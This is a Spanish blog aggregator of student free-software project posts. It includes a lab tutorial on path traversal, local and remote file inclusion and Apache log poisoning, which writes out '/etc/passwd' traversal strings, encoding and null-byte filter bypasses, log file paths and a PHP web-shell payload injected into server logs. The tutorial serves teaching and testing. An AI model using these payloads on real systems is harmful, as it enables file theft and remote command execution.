Planet

Comienzo el blog que relatará el proceso de desarrollo de mi proyecto fin de carrera para ingeniería informática publicando la memoria que he tenido que hacer. Dado que el proyecto (de ahora en adelante pfc por acortar) lo he propuesto yo y no lo he cogido de los propuestos en las listas de los departamentos, tuve que realizar un documento en el que explicase los objetivos entre otras cualidades del pfc.
Publico pues, dicha memoria:
Nombre del proyecto: KeyFace
Nombre del alumno: Jorge Ávalos Salguero
Nombre de la tutora: * (No he preguntado si hay problema por publicarlo, así que por ahora queda como información oculta)
Departamento: Matemáticas Aplicadas 1
Facultad: Escuela Técnica Superior de Ingeniería Informática
Universidad: Universidad de Sevilla
Curso: 2010/11
Resumen del proyecto: Utilizar técnicas de detección y reconocimiento facial para usarlo como sistema de seguridad en el acceso a un ordenador o información bloqueada.
Licencia: GNU General Public License V3
Descripción completa: Este programa pretende ser una nueva forma de acceder a la sesión de usuario de un ordenador y su información utilizando un sistema automático de reconocimiento facial. Para ello se hará uso de las librerías OpenCV con las que se simplifica la fase de detección y se dispone de gran cantidad de funciones para la visión artificial. Obviamente para hacer uso de este software sería necesario disponer de una cámara web, pero dado el gran número de cámaras web preinstaladas hoy en día en los ordenadores no se considera como un problema. Se pretende finalmente conseguir un programa instalable en una distribución de un sistema GNU/Linux que se ejecute automáticamente al encenderse el ordenador para iniciar la sesión. El reconocimiento facial debe ser factible aunque haya otras caras presentes en la escena y aunque el fondo sea variable y/o desconocido previamente, también se deberán resolver los problemas de que haya una mala visibilidad (demasiada luz o ausencia de esta).
Posibles ampliaciones: Se podría mejorar el programa bloqueando el acceso a ciertos archivos a menos que el usuario dueño de estos esté delante de la webcam. Para esto, por ejemplo, se podría utilizar algún tipo de encriptación que solo se resuelve mediante una contraseña si el usuario está solo frente a la webcam. En caso de que no sea el usuario o haya alguien más en la visión de la webcam, aunque la contraseña sea correcta los datos son inaccesibles.

Se puede dar la opción de que el programa recuerde algunas decisiones tomadas; como por ejemplo, que al haber dos usuarios se inicie siempre la sesión de uno de ellos, o una sesión diferente. Igualmente se podría indicar al programa que si no se reconoce a alguien de la imagen, se inicie una sesión de invitado, o se bloquee el ordenador.
Se puede investigar la idea de que si, el usuario desaparece de la vista de la webcam, la sesión quede bloqueada automáticamente a la espera de que vuelva. Aquellas opciones, como esta última, que efectuen acciones mientras el usuario trabaja frente al ordenador tendrían que ser desactivadas si la cámara web entra en uso por otra aplicación (por ejemplo una videollamada).
Lenguaje de programación: C++
Librerías a usar: OpenCV
Versiones previstas:

• 0.1 Crear un software capaz de localizar una cara a tiempo real con las imágenes de una webcam.
• 0.2 Se permite añadir información de los usuarios, nombre, contraseña, fotos (que pueden ayudar a reconocerlo posteriormente).
• 0.3 Aprender a reconocer una cara eficientemente bajo condiciones controladas.
• 0.4 Aprender a reconocer más de una cara sin confundirlas.
• 0.5 Reconoce las caras previamente aprendidas en condiciones subóptimas.
• 0.6 Reconoce una o más caras de varias presentes.
• 0.7 El programa es capaz de ejecutar cambios de sesión entre los diferentes usuarios.
• 0.8 El programa se inicia al encender el ordenador e inicia la sesión del usuario presente.
• 0.9 Se procede a crear un paquete instalable automáticamente.
• 1.0 Se arregla y mejora la interfaz de usuario para la versión final.

Comentarios: Quizás fuese conveniente estudiar las implicaciones que puede tener este programa en la privacidad de la gente, pues se podría acabar usando para controlar el uso de un ordenador (que un padre no quiera que su hijo utilice el ordenador en ciertos rangos horarios por ejemplo, o más de un tiempo específico), o incluso para localizar personas en videocámaras de seguridad. Aparte de lo más obvio, y es que puedes acceder a la sesión de un usuario con una foto suya.

Hay que buscar una manera de que si el programa no puede reconocer una cara en cierta ocasión (por ejemplo si la cámara se ha roto), se pueda desactivar y acceder a la sesión de usuario de otra forma.
Antes de cerrar la presentación tengo dos cosas más que contar. Empezar diciendo que he presentado el pfc al concurso universitario de software libre (CUSL de ahora en adelante) y me han admitido. A ver como acaba todo.
Por último, quería comentar que quise llamar al pfc PassFace, por hacer el juego de palabras con password, pero una empresa ya lo tiene cogido para un proyecto totalmente distinto. Así que finalmente lo cambié por KeyFace (después de buscar por FaceKey, ocupado igualmente) que parece estar libre.

It's been some weeks since last article. During this time there have been lots of changes in the project. First of all, I have decided to change the Java project into a C++ project to have a better integration with OpenCL. As I want my software to be compatible with Linux, Mac OSX and Windows I have decided to use QT framework for GUI and QMake as the compilation tool. I have all the technologies integrated in a QT Creator project. The initial prototype is a simple window with a button that when pressed an OpenCL kernel is launched. This seems to be a trivial work but it has been very difficult to configure all the environment. I hope to have a first RBM implementation in next two weeks. This implementation will only have one hidden layer and won't perform the refining phase to simplify it.

Por fin, después de un mes de arduo trabajo puedo decir que el nivel de abstracción de datos del programa, el paquete data, está completamente operativo después de realizar las pruebas unitarias de funcionamiento.
El rendimiento no es excesivamente bueno, depende del tipo de dato que se quiera sacar de la base de datos, los tiempos de búsqueda oscilan entre los  0,008ms hasta más de 30 segundos para las búsqueda de la información más comprometida. Sin embargo, y a no ser que se detecte algún error grave, esta parte del programa permanecerá estática al menos hasta que se lance la primera versión de la aplicación. En las versiones posteriores me ocuparé de mejorar el rendimiento hasta alcanzar cotas aceptables para cualquier tipo de búsqueda, hay muchísimo margen de mejora.
A partir de ahora empieza el diseño de la interfaz gráfica y de los manejadores de ventanas, que en realidad pertenecerán al paquete core pero cuyo desarrollo queda planificado dentro del paquete GUI.

90Manager es un proyecto para desarrollar un mánager de fútbol online y libre, de hecho el proyecto participa en el ‘V Concurso Universitario de Software Libre‘. En breve publicaremos una descripción más detallada de las funcionalidades que queremos desarrollar.
El proyecto está siendo iniciado por Juan Miguel Lechuga Pérez, Carlos Antonio Rivera Cabello y José Luis López Pino; pero el equipo está abierto a cualquier persona que quiera colaborar en él.

En primer lugar, bienvenido al blog de mi proyecto, Predesys. El proyecto está ya más o menos definido, es decir, ya tengo establecidos los objetivos del proyecto y su arquitectura y voy a explicarlo brevemente.
Este proyecto es también mi proyecto Fin de Carrera y, por ello, supone algo bastante importante para mí.
Predesys será un sistema software para ofrecer servicios de información a determinados usuarios dentro de unas instalaciones físicas (una universidad, una oficina, etc).
El siguiente dibujo describe la arquitectura del proyecto:


Como puede verse en el dibujo, el soporte físico para Predesys consta de un servidor, una estación bluetooth (otro servidor) y 1 ó más clientes (ordenadores o dispositivos móviles con conectividad por Internet o bluetooth).
El Servidor contiene toda la lógica de los servicios y los datos de los mismos. Ofrece los servicios a través del Servicio Público, que no es más que un servidor web al que se hace una petición post desde el cliente para obtener la información deseada por el usuario. El Servidor contiene, entre otros componentes, una página web accesible desde el exterior para que un Administrador configure el sistema como quiera. Todo el control del Servidor lo ejerce el Núcleo, que es el componente principal, y es el que ejecuta los scripts (las Aplicaciones). Las Aplicaciones son realmente los servicios; acceden a los Datos y los modifican. El Núcleo es el intermediario entre las Aplicaciones y los Datos y cualesquiera otros dos componentes, ya que debe controlar y asegurar el correcto funcionamiento del sistema y limitar los datos a los que pueda acceder cada Aplicación.
El cliente hará las peticiones post a través de la Biblioteca de Clientes TCP/IP (requiere conexión a Internet) o bien a través de la Biblioteca de Clientes Bluetooth (requiere conectividad bluetooth). Si el cliente usa la Biblioteca de Clientes Bluetooth, ésta enviará dichas peticiones a una de las estaciones bluetooth a través de una conexión bluetooth que a su vez las enviará al Servicio Público a través de una conexión a Internet (que es lo que hace la Biblioteca de Clientes TCP/IP directamente). La Biblioteca de Clientes Bluetooth, en principio, hace lo mismo que Biblioteca de Clientes TCP/IP pero es la gracia del proyecto, ya que permite al usuario acceder a los servicios sin conexión a Internet (eso sí, el usuario debe estar cerca físicamente de una de las estaciones bluetooth, ya que el alcance de las señales bluetooth es muy limitado.
Las estaciones bluetooth pueden ser 1 ó más, todas con conectividad por Internet con el servidor. Tienen tan sólo 2 funciones muy básicas, aunque muy importantes. La primera, “rebotar” peticiones bluetooth de los clientes hacia el servidor, como se ha explicado en el párrafo anterior y, la segunda, detectar periódicamente la presencia de dispositivos bluetooth que estén físicamente cerca de la máquina estación y enviar sus direcciones MAC al Servidor, a través del Servicio de Comunicación de Estaciones. Ésta última función tiene la finalidad de ejecutar ciertas acciones en el servidor cuando se encuentre cerca de la estación alguno de los usuarios, generalmente para ofrecerle algún servicio concreto asociado a su presencia física (a la presencia física de su dispositivo bluetooth, como su teléfono móvil).

Introducción
El objetivo de un Directory Path Traversal Attack es el de conseguir acceso a ficheros o directorios que se encuentran fuera del directorio web raíz y en los que en condiciones normales un usuario sin privilegios no tendría acceso alguno.
Normalmente una aplicación web tiene restringido el acceso a usuarios no autorizados a la porción del sistema conocia como los directorios "CGI root" o "Web Document Root". Albergando ahí todos los recursos accesibles por el usuario y necesarios para hacer funcional el portal.
Para acceder a ficheros o ejecutar comandos en cualquier parte del sistema un atacante hará uso de secuencias de caracteres especiales, comúnmente conocidas como "dot-dot-slash" o "../".
Esto permitiría a un usuario malintencionado comprometer el sistema y navegar por toda la estructura de directorios de este, ganando el acceso a ficheros del sistema, códigos fuente, y cualquier cosa que se nos ocurra.
Los ataques de DPT suelen venir acompañados de la mano de otras dos conocidas vulnerabilidades:

• Local File Inclusion (LFI) Permite la inclusión de ficheros locales donde se encuentre la web vulnerable.
• Remote File Inclusion (RFI) A diferencia del LFI, permite la inclusión de ficheros que se encuentran en cualquier otro servidor.

¿Qué implicaciones tiene esta vulnerabilidad?
Cuando hacemos uso de funciones como include(), include_once(), require(), require_once() y no ofrecemos ningún tipo de validación ante posibles valores dados por un usuario, se puede provocar que las peticiones procesadas por el servidor web permitan a un atacante:

• Ejecutar código remoto.
• Tomar control del equipo vulnerable.

Montando pruebas de caja negra
A la hora de probar si un sistema es vulnerable o no, es recomendable realizar dos tipos de pruebas:

• Vectores de enumeración Consiste en una evaluación sistemática de cada vector de ataque.
• Técnicas de testing Evaluación metódica de cada técnica de ataque usada para explotar la vulnerabilidad.

Vectores de enumeración
Para determinar qué partes de la aplicación son vulnerables, el atacante necesita comprobar todas las vías que acepten datos del usuario. Esto abarca desde consultas HTTP, GET, POST hasta formularios para subidas de ficheros. Algunas cuestiones que pueden ayudar a asentarnos en esta fase:

• ¿Se usan parámetros relacionados con peticiones a ficheros?
• ¿Se usan extensiones de ficheros poco usuales?
• ¿Hay nombre de variables poco normales?

Ejemplos:

• http://localhost/lab/perfil.php?fichero=0xroot.html
• http://localhost/lab/index.php?fichero=passwd
• http://localhost/lab/main.cgi?home=index.html

Técnicas de testing
El siguiente objetivo es analizar las funciones de validación para los datos de entrada en la aplicación web. Tomando como ejemplo el código anterior, nuestra página dinámica dpt-example1.php, carga un contenido estático a través de un fichero. Un atacante puede aprovechar esto para insertar una cadena como "../../../etc/passwd" y volcar el contenido del fichero de claves de un sistema Unix.
Para conseguir explotar esta vulnerabilidad con éxito, el atacante necesita conocer la arquitectura del sistema que alberga la aplicación web, de nada sirve intentar cargar el fichero /etc/passwd si nos encontramos bajo un IIS Server en una plataforma Windows.
En determinadas ocasiones un atacante necesita hacer frente a filtros impuestos por el usuario programador para evitar la carga de ficheros con acceso restringido (lo que comentábamos de usar "../" o el byte nulo que veremos más adelante). Al usar cada sistema operativo un caracter separador diferente es importante conocer cómo trabaja a nivel interno cada uno.

• Sistemas Unix

Directorio raíz: /
Carácter Separador: /

• Sistemas Windows

Directorio raíz: Letra de Unidad:\
Carácter Separado: \ ó /
Operadores mayor y menor que: >, < Comillas dobles: "./" , ".\"

Ejemplos:

• fichero.txt
• fichero.txt...
• fichero.txt
• fichero.txt""""
• fichero.txt<<<><><><
• fichero.txt/./././

A veces podemos encontrarnos con la necesidad de saltarnos filtros restrictivos, para ello podemos utilizar la codificación URL-Encode:

• %2e%2e%2 representa ../
• %2e%2e/ representa ../
• ..%2f representa ../
• %2e%2e%5c representa ..\
• %2e%2e\ representa ..\
• ..%5c representa ..\
• %252e%252e%255c representa ..\
• ..%255c representa ..\

Otras codificaciones que podemos usar son UTF-8 o incluso la representación hexadecimal de los caracteres.
El entorno de pruebas
Para demostrar lo nocivo que puede llegar a ser este tipo de vulnerabilidad vamos a montarnos un entorno de pruebas en un sistema real. Nuestro laboratorio va a componerse de los siguientes ficheros:

• dpt-example1.php [Pastebin]
• dpt-example2.php [Pastebin]
• dpt-example3.php [Pastebin]
• index.php [Pastebin]

Si hacemos una llamada sin pasar ningún argumento a "recurso" la URL introducida sería:
http://localhost/lab/dpt-example1.php
Obteniendo el mensaje de "No se ha especificado el recurso". Pero qué sucedería si decidimos hacer la llamada al fichero index.php:
http://localhost/lab/dpt-example1.php?recurso=index.php
Obtenemos el mensaje esperado. Pero puede darse el caso de que el usuario que anda navegando por nuestra página web, sea un poco más perspicaz y quiera cargar el fichero /etc/passwd. Si observamos el código de nuestra aplicación vulnerable, nosotros no hemos realizado ningún tipo de validación previa a los valores que introduzca el usuario. Si cargamos:
http://localhost/lab/dpt-example1.php?recurso=/etc/passwd
Lo que obtenemos es:
Otra opción sería cargar una shell remota y ejecutar una vulnerabilidad de tipo RFI:
http://localhost/lab/directory-path-traversal.php?recurso=http://127.0.0...
Usando el byte NULL
El byte NULL es un byte especial utilizado por nuestro equipo y es el equivalente a la representación binaria de 0000 0000 en hexadecimal 0x00. El uso de este carácter especial es cómo terminador de cadenas. Supongamos que tenemos el siguiente código (dpt-example3.php)
Si nosotros tratamos de abrir el fichero index.php lo haremos a través de la URL:
http://localhost/lab/dpt-example3.php?recurso=index
Automáticamente nuestro código concatenará al valor pasado el string ".php", esto nos supone un problema si quieremos abrir el fichero "/etc/passwd" o alguno otro similar porque obtendremos el siguiente error:
Warning: require(/etc/passwd.php) [function.require]: failed to open stream: No existe el fichero ó directorio in /opt/lampp/htdocs/lab/directory-path-traversal.php on line 3
Fatal error: require() [function.require]: Failed opening required '/etc/passwd.php' (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/lab/dpt-example3.php on line 3
El problema viene debido a que no encuentra en el sistema un fichero llamado "/etc/passwd.php", para saltarnos esta restricción haremos que todos los datos que introduzcamos lleven al final el carácter especial %00, así para
cargar el fichero /etc/passwd la URL quedará de la siguiente manera:
http://localhost/lab/dpt-example3.php?recurso=/etc/passwd%00
Con lo que obtendremos:

Log Poisoning
La técnica de Log Poisoning nos permite inyectar código en un fichero de log y ejecutarlo normalmente vía LFI. En nuestro caso suponemos que hemos instalado un servidor web bajo Apache, y por defecto tenemos dos ficheros de registros llamados access_log y error_log. Si conseguimos manipular su contenido e incluir código PHP, podremos ejecutar llamadas a funciones que nos permitan obtener control del equipo.
Antes de nada, veamos una breve recopilación de estos ficheros de log, para saber dónde podemos encontrarlos:

• /etc/httpd/logs/access.log
• /etc/httpd/logs/access_log
• /etc/httpd/logs/error.log
• /etc/httpd/logs/error_log
• /opt/lampp/logs/access_log
• /opt/lampp/logs/error_log
• /usr/local/apache/log
• /usr/local/apache/logs
• /usr/local/apache/logs/access.log
• /var/log/httpd/access_log
• /var/log/httpd/error_log
• /var/log/httpsd/ssl.access_log
• /var/log/httpsd/ssl_log
• /var/log/thttpd_log
• C:\Program Files\Apache Group\Apache\logs\access.log
• C:\Program Files\Apache Group\Apache\logs\error.log
• C:\xampp\apache\logs\access.log
• C:\xampp\apache\logs\error.log
• Y un largo etcétera...

Una vez decidido el fichero sobre el que actuaremos, tenemos dos formas posibles de actuar:

• Accediendo al fichero error_log

Suponiendo que hemos encontrado una vulnerabilidad LFI tratamos de acceder a la siguiente URL inexistente que será almacenada en nuestro fichero de log:
http://localhost/%3C%3FPHP $s=$_GET;@chdir($s['x']);echo@system($s['y'])%3F%3E
Si os dais cuenta se han sustituid los caracteres por su representación hexadecimal %3C%3F y %3F%3E respectivamente, dado que si tratamos de colar la url como tal, el código PHP no será guardado correctamente en el servidor, quedando esto:
[Wed Oct 13 17:08:24 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/<
Sin embargo utilizando ese pequeño truco, conseguimos saltarnos el filtrado y se nos guardará la siguiente cadena en el fichero de log:
[Wed Oct 13 17:03:51 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/
Si ahora acudimos a nuestro código vulnerable y ejecutamos la siguiente URL:
http://localhost/lab/dpt-example2.php?recurso=/opt/lampp/logs/error_log%...
Obtendremos la ejecución del comando ls -l


• Accediendo al fichero access_log

Más complicado que el ejemplo anterior, consiste en inyectar directamente el código php en el User-Agent del navegador, para ello vamos a utilizar el plugin "User Agent Switcher" para incrustar nuestro script en PHP en el User-Agent y nos apoyaremos en el plugin "Live HTTP Header" para ver el contenido de las cabeceras que sean enviadas por nuestro navegador.
Deberá quedarnos de la siguiente manera:

Haciendo una petición a la aplicación web vulnerable con la siguiente URL:
http://localhost/lab/dpt-example2.php?recurso=
Si observamos el log "access_log" se ha agregado una nueva entrada con el siguiente contenido:
127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556
Si accedemos mediante la siguiente URL:
http://localhost/lab/directory-path-traversal.php?recurso=/opt/lampp/log...
Y ejecutamos el plugin "Live HTTP Headers" observaremos como la cabecera que se envía tiene la siguiente forma:

Nuevamente hemos conseguido inyectar e interpretar código PHP satisfactoriamente y el contenido de nuestro fichero acces_log quedará de la siguiente forma:
127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556
127.0.0.1 - - [13/Oct/2010:18:23:10 +0200] "GET /lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log%00 HTTP/1.1" 200 320

[directivas del pre-procesador: includes y defines] [declaración de variables globales] [prototipos de funciones] [declaraciones de clases] función main [definiciones de funciones] [definiciones de clases]

Desde siempre he estado usando gedit, pero busaba algún IDE simple como gedit que autocompletase, pudiera ejecutar el código directamente desde la interfaz y pudiera abrir una terminal con ipython para hacer pruebas. Geany tiene todo lo que quería, y además puedo usar los comandos rápidos que usaba en gedit, como CTRL + D para borrar una linea o CTRL + R para reemplazar, ya que son editables las combinaciones de teclas.

En este punto comienza el desarrollo del proyecto. Como primer paso, y siguiendo la metodología elegida, se ha diseñado el test que debe de pasar correctamente al final del primer ciclo de implementación.
Para diseñar el test, se ha escrito un script en BASH que ejecuta el programa con diversas opciones y comprueba el valor de retorno. En caso de que las opciones sean erróneas, el valor de retorno debe de ser distinto de 0, siendo 0 si son correctas. De esta manera, comprobamos que todos los valores de retorno son acordes a las opciones introducidas.
Un aspecto que ha dificultado la escritura del test ha sido el desconocimiento de la totalidad de opciones que el programa va a admitir y su formato concreto. Para intentar paliar dicho aspecto, se han introducido las opciones básicas que en un principio serán admitidas, dejando abierta la posibilidad de volver, en futuros ciclos del desarrollo, a “retocar” el script y añadir las opciones que sean deseables.
El siguiente paso es ejecutar el test para comprobar que falla con la parte del programa implementado hasta el momento. Como es evidente, en este punto no tiene ningún sentido hacerlo ya que no disponemos de ningún ejecutable para probar. Por tanto, se pasará a la siguiente fase del ciclo #1 consistente en implementar el reconocedor de opciones para nuestro programa.

Os presento uno de los proyectos que tambien forman parte del Concurso Universitario de Software Libre V edicion, desarrollado por David Saltares y muy relacionado con la tematica de Baloon Breakers. Mucha suerte y animo con el proyecto!IberOgre es una wiki sobre programación de videojuegos en 3D usando Ogre3D. Sion Tower es la puesta en práctica del contenido de IberOgre. Es un "tower defense" en el que controlamos a un mago que debe defender su torre de una invasión.Enlace aqui